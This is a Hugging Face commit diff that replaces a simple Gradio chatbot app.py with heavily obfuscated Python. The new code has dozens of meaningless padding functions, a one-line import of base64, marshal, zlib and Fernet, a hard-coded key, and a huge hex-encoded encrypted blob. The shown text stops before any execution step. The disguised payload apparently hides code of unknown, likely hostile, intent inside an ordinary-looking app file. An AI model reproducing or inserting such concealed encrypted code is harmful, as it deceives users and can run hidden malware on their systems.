anezatra commited on
Commit
3f066dc
1 Parent(s): 18b747a

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +644 -63
app.py CHANGED
@@ -1,63 +1,644 @@
1
- import gradio as gr
2
- from huggingface_hub import InferenceClient
3
-
4
- """
5
- For more information on `huggingface_hub` Inference API support, please check the docs: https://huggingface.co/docs/huggingface_hub/v0.22.2/en/guides/inference
6
- """
7
- client = InferenceClient("HuggingFaceH4/zephyr-7b-beta")
8
-
9
-
10
- def respond(
11
- message,
12
- history: list[tuple[str, str]],
13
- system_message,
14
- max_tokens,
15
- temperature,
16
- top_p,
17
- ):
18
- messages = [{"role": "system", "content": system_message}]
19
-
20
- for val in history:
21
- if val[0]:
22
- messages.append({"role": "user", "content": val[0]})
23
- if val[1]:
24
- messages.append({"role": "assistant", "content": val[1]})
25
-
26
- messages.append({"role": "user", "content": message})
27
-
28
- response = ""
29
-
30
- for message in client.chat_completion(
31
- messages,
32
- max_tokens=max_tokens,
33
- stream=True,
34
- temperature=temperature,
35
- top_p=top_p,
36
- ):
37
- token = message.choices[0].delta.content
38
-
39
- response += token
40
- yield response
41
-
42
- """
43
- For information on how to customize the ChatInterface, peruse the gradio docs: https://www.gradio.app/docs/chatinterface
44
- """
45
- demo = gr.ChatInterface(
46
- respond,
47
- additional_inputs=[
48
- gr.Textbox(value="You are a friendly Chatbot.", label="System message"),
49
- gr.Slider(minimum=1, maximum=2048, value=512, step=1, label="Max new tokens"),
50
- gr.Slider(minimum=0.1, maximum=4.0, value=0.7, step=0.1, label="Temperature"),
51
- gr.Slider(
52
- minimum=0.1,
53
- maximum=1.0,
54
- value=0.95,
55
- step=0.05,
56
- label="Top-p (nucleus sampling)",
57
- ),
58
- ],
59
- )
60
-
61
-
62
- if __name__ == "__main__":
63
- demo.launch()
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ __VareObfuscator__ = ''
2
+
3
+ def saint1336334():
4
+ if 356587 == 3277667:
5
+
6
+ print(3000783)
7
+ aaa5074994 = 5307754
8
+
9
+ print(2789920)
10
+ bbb129685 = 1155134
11
+
12
+ aa7638337 = 5448905
13
+
14
+ z9668190 = 5177994
15
+ zz3674300 = 1286625
16
+
17
+ c3368426 = 4113416
18
+ cc2629894 = 6340814
19
+
20
+ elif 9361576 == 7444794:
21
+
22
+ print(761145)
23
+
24
+ aaa9229664 = 8691731
25
+ print(9121963)
26
+
27
+ bbb3933354 = 9480422
28
+ aa7995493 = 6433099
29
+ x9245723 = 4866784
30
+ xx2777555 = 8655920
31
+
32
+ a721444 = 5831271
33
+ aa1039344 = 3335227
34
+
35
+ def saint4581266():
36
+ if 7828391 == 8445783:
37
+
38
+ print(3017628)
39
+ aaa8644598 = 9087172
40
+
41
+ print(4184776)
42
+ bbb666236 = 6386191
43
+
44
+ aa9809198 = 2292526
45
+
46
+ z7231361 = 9884151
47
+ zz1251993 = 300487
48
+
49
+ c6223098 = 9134119
50
+ cc3335650 = 6527279
51
+
52
+ elif 7426791 == 9218928:
53
+
54
+ print(4728559)
55
+
56
+ aaa6993217 = 2895082
57
+ print(4978445)
58
+
59
+ bbb2182503 = 4175007
60
+ aa4062126 = 9504271
61
+ x3539088 = 5789323
62
+ xx7879188 = 6348050
63
+
64
+ a4959973 = 658271
65
+ aa7868692 = 3102429
66
+
67
+ def saint4973833():
68
+ if 7492937 == 3455734:
69
+
70
+ print(7909789)
71
+ aaa9843502 = 6526607
72
+
73
+ print(5249987)
74
+ bbb7932812 = 1123964
75
+
76
+ aa6174053 = 4872311
77
+
78
+ z217362 = 9989749
79
+ zz6774130 = 5089739
80
+
81
+ c3710003 = 837467
82
+ cc7854382 = 9429227
83
+
84
+ elif 2984272 == 2973900:
85
+
86
+ print(7183660)
87
+
88
+ aaa8840183 = 7533228
89
+ print(3161156)
90
+
91
+ bbb7107522 = 336203
92
+ aa7611537 = 5751917
93
+ x7666212 = 1798021
94
+ xx6970369 = 850131
95
+
96
+ a4591897 = 2633773
97
+ aa6385140 = 3587622
98
+
99
+ def saint3407513():
100
+ if 9639524 == 3050812:
101
+
102
+ print(3881619)
103
+ aaa7132493 = 7158569
104
+
105
+ print(8921732)
106
+ bbb7654671 = 3071544
107
+
108
+ aa7798026 = 3337061
109
+
110
+ z3241484 = 9738885
111
+ zz9511031 = 8636901
112
+
113
+ c1411094 = 3868080
114
+ cc9288416 = 3053747
115
+
116
+ elif 228763 == 5747009:
117
+
118
+ print(8149591)
119
+
120
+ aaa2601544 = 3976144
121
+ print(8915167)
122
+
123
+ bbb1646076 = 4333701
124
+ aa3141195 = 5475888
125
+ x4543823 = 1417931
126
+ xx4099695 = 4777356
127
+
128
+ a8379075 = 8101971
129
+ aa4581724 = 4512059
130
+
131
+ def saint8327837():
132
+ if 9532741 == 3391233:
133
+
134
+ print(1131732)
135
+ aaa1544118 = 7248969
136
+
137
+ print(8061484)
138
+ bbb2152935 = 3929771
139
+
140
+ aa3533328 = 1629449
141
+
142
+ z2779730 = 5173935
143
+ zz334967 = 7434537
144
+
145
+ c8877311 = 239488
146
+ cc5105835 = 4517335
147
+
148
+ elif 3649019 == 9955075:
149
+
150
+ print(1484185)
151
+
152
+ aaa7503406 = 3934138
153
+ print(416119)
154
+
155
+ bbb5795291 = 8526794
156
+ aa8939114 = 2674233
157
+ x2551510 = 7513671
158
+ xx6802375 = 6088729
159
+
160
+ a3984918 = 3926148
161
+ aa2175438 = 3252528
162
+
163
+ def saint2255790():
164
+ if 6206050 == 9095434:
165
+
166
+ print(8042626)
167
+ aaa5149909 = 864109
168
+
169
+ print(8783211)
170
+ bbb4451928 = 4587761
171
+
172
+ aa9616118 = 6936009
173
+
174
+ z7773376 = 6198075
175
+ zz7700475 = 1245451
176
+
177
+ c7735930 = 1070116
178
+ cc6029432 = 7174938
179
+
180
+ elif 310083 == 1681419:
181
+
182
+ print(8329374)
183
+
184
+ aaa4695031 = 1429951
185
+ print(1043410)
186
+
187
+ bbb304481 = 6868772
188
+ aa4738186 = 8090270
189
+ x5343827 = 589268
190
+ xx7212394 = 2391034
191
+
192
+ a9689842 = 9194550
193
+ aa1060933 = 530242
194
+
195
+ def saint2794106():
196
+ if 508222 == 2040097:
197
+
198
+ print(1821359)
199
+ aaa2485527 = 9115530
200
+
201
+ print(8850205)
202
+ bbb232656 = 9326494
203
+
204
+ aa4802473 = 5796033
205
+
206
+ z7738563 = 1982992
207
+ zz8831676 = 8863381
208
+
209
+ c620732 = 2205943
210
+ cc3773382 = 6758944
211
+
212
+ elif 315888 == 1363240:
213
+
214
+ print(3782790)
215
+
216
+ aaa2156656 = 7704242
217
+ print(1630321)
218
+
219
+ bbb5597336 = 4645239
220
+ aa7430991 = 4986240
221
+ x9651150 = 9446213
222
+ xx592345 = 6115230
223
+
224
+ a2712232 = 4625889
225
+ aa1819779 = 429699
226
+
227
+ def saint3174571():
228
+ if 9117455 == 2492649:
229
+
230
+ print(4579676)
231
+ aaa4495557 = 7145215
232
+
233
+ print(144908)
234
+ bbb1079915 = 1373913
235
+
236
+ aa9744275 = 9725586
237
+
238
+ z4551931 = 2184968
239
+ zz1506355 = 1353022
240
+
241
+ c5050568 = 2692825
242
+ cc2329885 = 4441733
243
+
244
+ elif 6609181 == 6355894:
245
+
246
+ print(7376517)
247
+
248
+ aaa1200971 = 3534491
249
+ print(9044296)
250
+
251
+ bbb4271166 = 4376864
252
+ aa2175053 = 9144718
253
+ x5904367 = 9504641
254
+ xx4521444 = 9820971
255
+
256
+ a7803105 = 9552553
257
+ aa1232557 = 3133388
258
+
259
+ def saint8446127():
260
+ if 8340596 == 1658852:
261
+
262
+ print(8212624)
263
+ aaa7906867 = 3283104
264
+
265
+ print(7666698)
266
+ bbb964066 = 3026189
267
+
268
+ aa3458944 = 1086052
269
+
270
+ z816524 = 3539355
271
+ zz7106599 = 2953500
272
+
273
+ c7538593 = 7586212
274
+ cc4071879 = 2947416
275
+
276
+ elif 1835533 == 1192339:
277
+
278
+ print(6678126)
279
+
280
+ aaa3123845 = 521663
281
+ print(9582244)
282
+
283
+ bbb5481363 = 766770
284
+ aa9991589 = 4655001
285
+ x8102092 = 7695566
286
+ xx7400807 = 4727458
287
+
288
+ a3250337 = 8826628
289
+ aa555641 = 9400690
290
+
291
+ def saint799342():
292
+ if 8416055 == 763070:
293
+
294
+ print(8753193)
295
+ aaa5927722 = 9033335
296
+
297
+ print(8574666)
298
+ bbb2999136 = 9489464
299
+
300
+ aa8190207 = 4582812
301
+
302
+ z8752700 = 8232537
303
+ zz1028572 = 5946043
304
+
305
+ c1935880 = 6621367
306
+ cc9289044 = 5078006
307
+
308
+ elif 506527 == 5638026:
309
+
310
+ print(9033774)
311
+
312
+ aaa5034649 = 8187213
313
+ print(4283652)
314
+
315
+ bbb5378929 = 7004728
316
+ aa5099884 = 7157482
317
+ x4721381 = 1343667
318
+ xx6658620 = 6320426
319
+
320
+ a1631422 = 6672859
321
+ aa6810750 = 3384052
322
+
323
+ import base64 as ______;import marshal as ____;import zlib as __________;from cryptography.fernet import Fernet;import base64;__mikey__="WkJyWFhCMkNoTUVaQXItdVRaUTdSMnJLSV9heGhBUXZVUVhjeE40NlBxST0=";mydata="674141414141426d594d54727841503033444134734438723258594434552d32717655766638784b45754939613853587359764e4d31516a4467506876524b5734716c324d4435345558724c6f7256745f7350465a4962697062773455454d5232724b3339495f6d684233774a3134335472716c4858435f2d4a75334656733341533347474e4a734350775f4263384639775450586957376d594e4d4764666e36444e5148783253455f51725269566d6a5a6d526f53517749525a4e754663703143486b686463683432613775365f5942534a7047644471317936706e4538354c573454453476504f623652453874436e395345436a374964725a66662d3831564763637071342d59773876335636657461675a33417a372d4435497332326559796a2d486f413553747a32365838745772355a54536334584246716f324c6e3458497849537136434e335f524a7665525f364f5a374a4234433330306f387650344f3533376767614267757a6e44423973525a393631504d6270593751533668364d304c4a77427773747645426f4c30445863784a494c3442396f375a4f395552726a533859376a74386f5f4a7770556a574b716141394a58636154646567382d5344616f464b634a64756442634a71336e3236306350514b7754514236784a5967384b493150794456723572364a5257364b5465365a4d50433334444757595131345543537147424e34616c58756c663277634275304549317555527035755a32464c76452d6a7049624b737173797a7a4a496349674274516a6c39425141566c664c5143502d766247625732305332446c4f49374b64417676534d4c757a5a5f364d4c65685337787772437a59395644734a2d4a74666e6938317137492d524b4c75574a4c566b63674f41704630376e355333502d4f7133706c48306f327a46556454334e4d4830664166694f7834506b48585f746b6e714d69356d586f4d546b756653516a6c3639796c46524c5a665f4b6e4567454a776663634463663078646769504e37746f774941585a74656a314b4f4b305464616f5879715468422d4741415034794241564d7834647a4d644743724e556f525f4b6373365570437a524a4b6667677450475368736e345736764f76495738524a5635347361716a6b497438647a30423966664a4c4546756f434245525736516b306d5f71524b766c4c454a51534536484467344664597153384c3831366e5971624e354f4a4d4f51354579475a6f554e347142344e62466d6c495555323866766d5676436d6c653046795256793350625f71764276787571732d412d4766776b6947723952796f4b4331707a71463644495668775866715a784730674571436930387566436249597035346c5f346e424a41377a73597a554330514b626f4c6d376a6554434f7956446e786d6a793271446a5a354c5f32346c507933326150424c74714f387549335031596d5a464a4b6d34383446354b53305f6a3156764b2d734f5f7733525a48614e683651684c6a7a68635f485f785f4b524351724d4562384d786e4d4d776d6d534749616c514f7573626a2d746c6c7637584a755a52566547386a7a4365497571365f65657476417850314831592d612d33664c4c4f63336664395a65356276624f71316b3635423346745a52576c615569756461387a7776777068466e3438355079356c58645a79684f4a2d4a544d35487a5036646d50414a7072513770634a7355764a2d3352762d456f3735646637585175676445654f77583070536b6a6f4f3939426a694f426a4a636b38517276374d6e6d5a5557415a346a786f443164546d3162485f6a4a323531482d704d70454a3238712d414f33494f742d424257614d3878744d783463676f68415643327075586870774c71685f767677526348566e646e7139743552344534384e5067716c76445f6f3243623768513839527352625335556b49476e447578344c776d3841336d4374692d3175765f4e3677544b706f734a6c4654505a5534395f7065746c48794630493171654d47593352623467526a41766a3636544f6b6937554d5a78474e687732494363554b56574f45736f47766153697931636a6956524b7a657671764b5271634b3855686a3677595f674943494c574e453854616d3933594f774939513330784b723552615330655459316b61785865454c5057633572496973713535477a736e6654387441787a726f4f717364335057746d7058626a7444505a6e686e764c39334a6f59495846463639525571367a6c6e4e7967547268697452594530556a7638734656474f76464e5639763471414b6948654531434e5a6f504a7a49786c586e6843472d79762d505f30353773316a6e78416c55364b51626b52377a4c6d516f5963647430323176676445714c7657626476324737386a7849725a546d79683351445478625a34726e6e486730674c7a655732775631565a50367473505554573638716f42424b4b4b6f564962703957656c61383658467364684e626f70744d4737725846666c43476b565f33776c786552565a396863546844483167665f4256414b43437262763434576f4358446f362d71564f5568526d4a524e516e36644c7553475f6769747377506b305065667753713557615a326e573674725736672d50703661466968486530684d4144426974595262735a4b4e576c61423451776c58696c31493961466e76596b76724b67694f6264496d586a694672656c61455f674f6f6a3977793665467556447a71366730785f355269763965445855516c39567175383770725f393261394e506355614e317972345942377355396a7737396754305f6645555a6977596a4534784f567749346b354f327336754b575f6c4162614570464266354e717a2d32614c7065772d2d536b6641494856534b515962426f6c73377a54576e4c7344377646704d37706e4b4a47397a7a686a342d56786c627246556f7979566a304338797234376f35554c514d5947796f66314d57657737787237326a3966565154636d777a326a74574a3045356872626a6b674e65357262524675366b6d775a4374436f5f6b4b797466775369627947745a335565534c394e44687169315537537147546c7a7451616430476b6549745a7045786770636661716838736371796f7249464a49655137344c3543315a62474d5638314a75334f36344e7a4f64636d4e67314a6a73354e566b6457484c7a38586c336b6c6257336d546a327a46784c5a653347734c69594f555a5935536432376b696a5967493449426e4d516a373041344339646d4a37553476426b5a61414b77412d72424b385a77464a466554517a706e46746b42496f68526c41616641704e79497a307357494144764e343178704f75366b6e42624d5f4b3969483462726c575464356152634236663368783243724b5a2d66444b3465716852752d6843796538336f6f2d684b51766256504e42723854736e73636d656f586b335a726b4537714f7a30794b736470524b373350336b59445262544c5a384e493944624b78396a335158637468564b6f565a65324f347470416963584935544163657164755161676435584c49415272595874734b45767a6b4b5174326d456b4b764c4258465564543136514a38744c7849785f5859674c38572d526f4f5f3874442d666a50735f794639323531445f734f5470544b704562477557664f676e34427556786f792d3956735a7466524a50556a4165332d356a3679544f3648576a7564503963496a72417764774541544a79616b776f477653384a5a56702d693572755270304154736f75626d5a4e47515f75385a685f704f446e53696242634163514d626f336166664d453571397049775251616c734c316d766150744a6c6a4a47306a6b43354e326353554f5736506c656279684a456936556c496c6a6e627136524470736b746447647157426c453635427350414558574b6c547a6f4437464d7567335359426353734f4f2d74346846736e6d75712d656d746b3673646c69735866684f5f367a6c725136366a4e584250444f314442636a6537433067496d76466d323959323834434933724f4e674f414e31314948356e4a305534465738514931685f474c562d3058736c57384f7674684357545868346641346546493834716e524a6676314c634a445153616b7a6b756a32753957526643524842344143466e6562715f3668747352627a6a646a7570643933444f797a6c4579366a4374476264334e574a3951704d334d4b354853624c6c663955542d6a4a736b67336b5243616d4371557436507946726c5030364237564c634c4b7847756f4c4d393768704c7364656f69443664503349625978634642742d704f725a4d5f7834304d6e62735567624b635330497143564b4b795461503435305a6232716c6736687459375549786b65394a42686352356f6a5174745057714a57566f54737268446e524667745931636b494174376834796b463455365942566e72383464723730563458326477462d4d62544a5f7a77336f6837636348634c59446a58624336447678524b55516935322d6d5a65335f654c454a447361455f4c794e4773307a3845355f68363238796d526a743655316b306267726842712d79666657506e304f4c6b5f4e703058792d782d4637714253636b32496c614b4f625f42393437515f645877425363376b647a4a69444d71685258652d7156496a6b6238326e58734b7a355869386d4c7a4645445f42592d796d73395a6863436f634c31344b4f3770594c48353356505878426c546a325f514570436c517a765a576b476f4c784962344e704c3539634d4f4c5a6f674c7356706c6b75744c7a5f38545a42786c57505f586576333943684a506b596d49584a4d4f6a517256494b5874334649685175693061354f71633555354e72727a34304978693278534953735a7431706347386357504c776e497133717a716e6977644c6945627837586a726247326366383671666b7642484743544e6e50554f505f3652517565635f477a44725f7649463366634d78755f4f71414964445469304972587a3075795a7063686d6472304a44414b31705458595862375f55566f2d7857744b6f48616b64423743675a2d49564a3045634a7873774b426145694f366337374577473057483730465632366446704c364b68525066675f5461564170376871554a564d43506e6849794132584c484277427945576148464e714975716e3073585657393648317548345955703259523974583147344e59684f756f4b464677762d7076465573324a50746b416e725f58737a6643397138443342377356457342655962614f5262344d6b756375344f3378544144306c446c574d4a4c32596d5334364d583659676d6471675f58704a4b4461706479636f6d756735517a6d794d746c33374d4131565f4a2d73436e36486d455430345645655f6e6a4f614534316132675551544e5f7765383646483952345f46496378576e62324f3473556576474d4d395f6353584f4b44587a6f45624554536c397557687168412d344b4a776641394f30762d4143676f37776854725667436f6c78654e336e7a75725355707841764a79346a6262627934596833356b65704349413836696c426d504339314b74434377444e374176475f437576313235646b4b71543555746a6a653032314838703332644470366e502d5f45416f6b6c707a4e615736784255613072634a6c374d6c4f596b684f6e7a774b6f3566386448706b3353535a4f72556f7a3879426c347249563239694f6c6c665f7155784d3156763662702d43365a4c5755305a6b336454464b7472366f736448796c375639553456347739627073665456576f72546f5354794833435f6c4b72666868757333714a766b656137637132793052784735744a4f4f72725471635847694a345844674d303949773572627a4c7333374f516c5669396f587176736a436870446a6c59554d365146436753456a50636570756d4d464c744c6970525f6b6c3663344b47327964707a72766e6e47495972493744534b7169763245556a494d4957654e7451354d734e55426b6a654a6359694a4d6c2d506273484d4d567a474b4b3165676f595f482d3863336e49415771325f595143726349677246795a5654525f334e34534c5647753276422d335a456c5a4b42475f33716f436d484747426e46735173556168356a38584238706e536d574254396855574e47674a586858494e73714642396379647a595f7a694c367a57397256664a75756f4d4c756e30376473316b676647334571647263763071697a783067426761392d376745354932657148705565796d556c57385939624138474e52555454434751576a495658716b6b4c4945506776485843784230744b7333466d6e4a72346a6f613558494f64746f69304d5464416254324c323145706e3973715258335636466f306d672d45544f6c5f635a6652566f6c387444337a5a33534f6772553266466c31746676417547424331466d4967694d597a316c6966314b514664714e79484948616c5145314652687945335a465a336a48454a6b6a55686655554867452d794d6a67696a4249554f445f595a4c3859645331507a6e5373307856637951723630566e6f38337537515362343078573654567236676c6256503369797366734b455f336e3375427148486c70713678617a42394166327452552d706f75765054554874746c76306443664a496f7571302d674b5652554143566a5f525177774f333755624b6e5570527742614341456a32686464576f5336397a7456576264574b702d795768686562722d4d6b4f474b76766d56524a612d5344656c7633573978615931635a5a463444627979616745715354494232464a31504c3170476639356a7a69644b54462d30504f304439647a35793436796f494d6a6c6a74524a6a6f533071534f4145306943623244686c4d2d6d7a6a37536454354242767264794c30656742587a67623579726f71566574632d635636566b72787764335141734d7163786e482d6c726776363679594345733737587353774a69646c6d6435734f5176786f33496e41314b57545746742d784f45316e3469444c7646342d6e71547734703741346a416f3846534a5930777953777a5741675f46723963466150473856543349724f546e427166666c364e5a336530317061533648716441536b456d58613067716554306d666a4571584e7674344e6e466f747a43626571624b74714b715431364f7a416e3461306452736d4f584868536330496a78584c787173426964615077527273324c775f764e375a79416b78785f3534694a4a68743875636262337a714d5a6e64696b795163707732795f41754c7553726c735930735f716e6c4e52724673527a664c2d6d5f4a594c4d534136345553477450494968306f516133744e6d74355442712d524d6c4439345f4e57376c7754393071312d664546484265704f772d4c306c5342687a6b66476d4e7665355538554c5a4e69336e727a57417075386d5871684d54594e585a537a31584a30684852716d625248426a7a795f416e664533644b30545837697a437733395574776b30476551387a49684f63736263653652414a59665468665f7265384a467943794a637479664936773770515f30326d66655646476d6c48316b34555458546f53376e785f686738713972737a4f5964344369593259535668776334467a726d486b6d59486232727a524331515a644835326241593039716e7976664270676c4b6a3232416e48664163524f744a47374135354e6450686e71567339504141566d67676d54327032334d50785a7275795338695f78463061744d5261554d4a4352524a324b496849627839696a423441316d6f68744a55436338566d53624b557a77584f645962596b74672d586b6d39745a5f7a777a6d6175355f35576656612d5f597854385a794638733565416d625858554463636f436545435a323734485349776a4733754156775a35386e4966476657725533755470577a63625a5976624a5f394f71543371536d5037386a62465f795f772d334338385571694373714f3346665f706d453273524c427152523166324772577a3577715f66343042503875593745326356526a6a43544e72427a5674517364726c6249764d336e7a4437365a43376745303256415077735476305a56643052395672582d3935466958554539413454694247316e794a634a374e3650674c75475a753037714676446775415a4576595f7145625939784c345a62686d594c766b683744695869526e59744276524259666943456a4f70544b7a4a5948346662363175577236662d6c68724d4746755a59474e4244756752694a6363434661766e6c475a506a3043656856704f4c416c4e4734494e4e446265744f4d6f73445f717952656b636979573478687a3664566261647038596b6d644c423945426d3879724761366565754b7630315a5a61717349535978716d6649306a413350784c36594d7957784861596b77496a636576703150525439304964545361442d41566e427a3158363569536e4e626c4f5171464353386779324c454341696b54594d776b4a4a483271382d556d4b4c6836325444773930715533744b392d7479635a4758373664776e46483052673642385a54414e4e6d7566466b634347367356794e5054454a6e354b4c4f52685a63334d37626d7543385243546a716d356b365530414a44586157706e783836314a515a395276307372554870693244747a4e38384b764c494a55574435384f666b57774d6e444d42474a316e396c4e7852512d7233675a343852773548736747456555596362545171317a67596e5a4d6f41436f50556b5f3049314c6f4b4f65566876764e7348434d696671724656796741664d506f77355652514a6f4c5665425533495f65596548657557496d577758667348666b4a426e5a4c5a796c30415433774e67534d464f4945554b2d704f6f33736f6f6f6b71765f6e4d55504e6a564147343331736336625a493472347658747233633046696b34777a37786f713951437848614944714261386374614a34597a35647232526a55466a6167335646504a75427937704e53776a5034313346796f76646953376f74555a757447682d434f49394466584c4f7a334d614162615a486875614470526f427a636f36394b5245745a4379336f37776e333043414238465f544b41615f59727337484b4845337544372d7278352d7a50796b47466a723739505074364a51566a35336f6e77546f4d3950356e64456832755366374947622d6c547650764143752d335f514f4f5062643470577a75355a68797962545f735033346257667543343536636f5a3055474f6c4545414439746258764e3176335f4b7a4b77336e5471787871427668714434746968494336384569413578686157636863483158446b385070594e57746a66564d494e4f5f706349594b67523750334630467958593050526a5461386b4932764a6852344b6a5567386e3657385035616837536c5779597756365672483731696d55663244684535776d7058355961364e4641725830635f6e6c4861504a6339692d75796c35455143414a466569434732684c46446b45463247584b744265326c755756444d4d696c62334541584a622d44374c7a3735593864673844757734653077454437316f616b7a53705f7a7a3762336e2d6566425052455742674149766b51456e72757334704a5445724938712d567277637a44366342765a794d5473424c426e754c586e4977726451657874616e4670766c54335362486a434f435475324d766b646734597546514c7a36626e456d73586a6e6c503251327146774d4a5f494239355a2d325a47506a6d444559516b767444754e336a4b36624b55497a746b456846396b54654957316a5338624476586c314c64722d736e5370702d4f474e637a6f787758517a50314b5f78426f494e335f43537351305f616d516b75316f5936626166512d6e676f38514478696a3034714347376674647466464a396e4d63555848634350796764646b712d5372647946377a4b5a57684d726a6f2d7946726a5373744b6971336f70504665564261717432306d6e326459394b4e374d75584a79325334445735373642714146655a745039414d6d74346d725a4351344f5031314c7876325241474a4c50556866784d474b375a726a79555053304c4c5967454464714d6f6854774f62554a744d764c3355672d5878705a414a4e625767424b6c776a574931546b4b4675595f5f737774334232484358545350356c71356548435f45627a376372515a53366e41364579384954583845504879564443564a3866594e69515378624e6f6265535169445753684b6650676d515564526d546c4b567453394e74417a4b52716f525f6d4c524a595448746d6a38444d527373484a616d4a7432342d71673276557a55306e30413551674d56467463525659584e666145784c397a6b6b555151793348656872566e6b5942776953566e33675974676f6151456a424878684f2d57584a716373316c5578424852394e7563327035466a747a4d3158314c44587a627678633661516475615462473973545f705177674d427533413876766f7a5272525978573774377a7a4f476d614c317a4239435841396453643835756e33636e707a635233586c6633416544494671324f5278517273666a6251385369627964457238694d6861416c616e74436a375a32774f4f495057785834794531314a547763736172384b426973385155766b42366864396676566c34443263477959385263707041336f7148326f524a5779527334384c633959725a3873546f52334b475645363745656d5439472d59702d51464b5a726e4f7378614a4c33635344346b6945746c3547666447315a4c6850326575496c4837414a4950643047305f4f38664d77635442585434444c5a507773634b4b396b52417051594c5751776f4d356e71366b355634726a46657a4871356d77677067464c6c6d3555775341424c6c496739367668637737554d43446137617a69634d79507066314c674b34384f3549746858584653463337506f4f36336d76394e6276445f36344533556a544b4a5f6d55423052754970367a57656d50505437515870657537676243566b494b6f70734f73337a704b6a76377456573772307836786e77527853546233644c335353535336692d36436e78425a485469376151554d5a5a5a744273696e4755525637506457736f743770363541783743426c4c7374744d526e316468574470395577486e52694e634c56484d62645256363273655a79706650716a7546544237616a6a4f61567565786463665f6973416d35474a766144393876376967717235434258753044656d4a355162414e635f56366b4a31376e61374b582d625239685f68394c4d357865455835584d5a7237494d59393572484e6d73337758534c703850496a6974794a334e6b51745a2d503270553158615143783550744f56397a706e56794a4a66374c393143775f656474676c465243635f4f4f2d66677a694b4f4635775f76324469673364654e3755574131576f66423677444a347268373245744a6d4170694254486356316637474138504943365779576b3037422d6a397a7662694c5f4e4538734b54524d526e453732526b515352507433764462645f687735693064697053415372337a6b737a485766676b36416f45456730354e646449476d454c4a65672d37796d6e7970616d696954386a4e364b697949554470326b4a6b55484f544f56386355577a6f6b38685170746e5466704663514a45745478784a2d6f4151474b377a6f4e73684e427835667865354d7042414276314c545f2d4430392d5a7a4757772d314644494c6f58583157795452584d4e36684b495a2d71364c6c4e7048656f34626b535331587a646173527237574137495941756732515251576149766a4e45486561457a2d4a6f567949634c68624648495f614244446b6f674535477166726b5a38516e653868384d3635505f67424b74575f644242597661766d70706550614272506e4e7145335f746f5133654b7344444463494b4f62536a6161754e56646265363870643948395473514f724956475435525655686d41426b68384d35796e396d7a684f47336f5768484653546f37464e7763665238452d52704237355362447a7776726857384162476e6e3036423053436a6d36696a43626e53596e4161526d475f395866466677617a75756a386c67473344344e684e7654766a785747786332306b6e707a6e754e6a34532d384f6b546e464d49447038304746466c486f50736e325f4c5374754254344335665738316c615f45495a5277726c39466d64525768387246745767425678624b446d3949736269574f637a526f37735033306e49796d5f71632d546b426f77364a456745585758324f67654f4a42395648735369746777516966746f3765347137332d41687a5f4c6f39774a494f666366395659635548413162634b705036537537393167564d616a63673038687965614e71676f484270505f305a726f5a69446837682d665030586e61716349686a6f486269555a654b4e486468695448394534514d5f42464c594e344b67767154714b374777674442595a59786d6b706167492d365047705439794c46447652636e5678595272503939734d7367646d62527a6b625556556a6b6d77316f345a454633434a46495a3452416d4b6f5a765369434f6b674b33686b343150784966435a36504365445f7a34595631394e73735354735a496a4e586d3579327143556d48337a7679754c715a444975684c617a6d42457557544472325565644f324a6363477670524d373634446c39574d58546374386963502d4f2d63436e536f555070676b375a703546343930344f756b61546c42796638775575594c686b567049794b62723650502d6a7038303670434a5447586e63496533776d676b6f42364157634b73536e384c42626e4b783964386447393636373156726453584a4b36494d584a693447644a5036644b63702d6c2d5a5f456c634556355252544354377461566c5f31306a767a4e61706d5465335f7369586f4d78436c522d4e4843386b54566d6a54464156782d37334430342d53494b6255737a37634a397a784b4c5f68373555375574365f44774c56756c344a6d47414c374363345642344e346e313752723735434b4336536f413469596c6d695051623266726967732d6149366d6f763576347771436132334a734c6c6b4c427962426b432d7464667a6a474f58713946376b776c6b63354b4233787779566c62564e65636e34547779733533524b66675137716e2d5a4967753751737655626a4b4b746651504649395834796174434c34725a33414b4a674c705a434c43397a447357474944415a4974777a665141773159686d2d62305142764c6c307a544c565152586868633977746c49622d393758545959524e6b546e68574f4867643879555f34497030673575363532343548655739375278314e355157773142566d56536672745f3144657532536773325345654f784c59637158314451315a54485459565f696e6d6f4b55664a326a6e4b4f783033757a33666b655a7564494552646b6249347631442d35456632766b33632d7a47494b61476966775f3148782d634c4e2d6d6e54464748663872484a57315f5159547767345144415a5851464a434c6c6545644e4c4a7833336a4e365330745031346c7a33506a596f474768746876354879736578